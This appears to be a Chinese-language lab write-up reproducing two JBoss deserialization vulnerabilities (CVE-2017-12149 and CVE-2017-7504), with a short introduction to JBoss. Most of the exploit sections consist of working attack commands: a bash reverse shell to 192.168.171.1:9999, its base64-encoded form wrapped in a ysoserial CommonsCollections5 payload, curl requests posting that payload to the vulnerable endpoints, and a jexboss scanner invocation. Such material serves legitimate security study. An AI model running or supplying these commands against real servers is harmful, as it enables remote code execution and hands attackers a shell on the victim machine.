jboss漏洞复现

什么是jboss

java中间件，类似于weblogic，webSphere等。可以理解成是一个加强版的可以实现EJB的tomcat。它的内部集成了tomcat对servlet处理的功能，而且支持EJB，不过weblogic的性能几乎全优于它，基本可以用weblogic代替。

1. JBoss 5.x/6.x 反序列化漏洞（CVE-2017-12149）

原理

/invoker/readonly的post数据会被反序列化

利用

使用反弹shell命令配合ysoserial。

由于我们使用bash来反弹shell，但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法，我们需要用进行一次编码。工具地址如下：

http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.171.1/9999 0>&1

执行命令生成恶意payload：

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xLzk5OTkgMD4mMQo=}|{base64,-d}|{bash,-i}" > poc.ser

curl http://192.168.171.139:8080/invoker/readonly --data-binary @poc.ser

工具下载地址:https://github.com/joaomatosf/jexboss

python3 jexboss.py -u http://192.168.171.139:8080/                                          

2. JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）

原理

/jbossmq-httpil/HTTPServerILServlet会接受我们post传递过去的数据并进行反序列化。

利用

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xLzk5OTkgMD4mMQo=}|{base64,-d}|{bash,-i}" > poc.ser

curl http://192.168.171.139:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser

参考文章

什么样的项目才会考虑使用JBoss、WebSphere、WebLogic等服务器？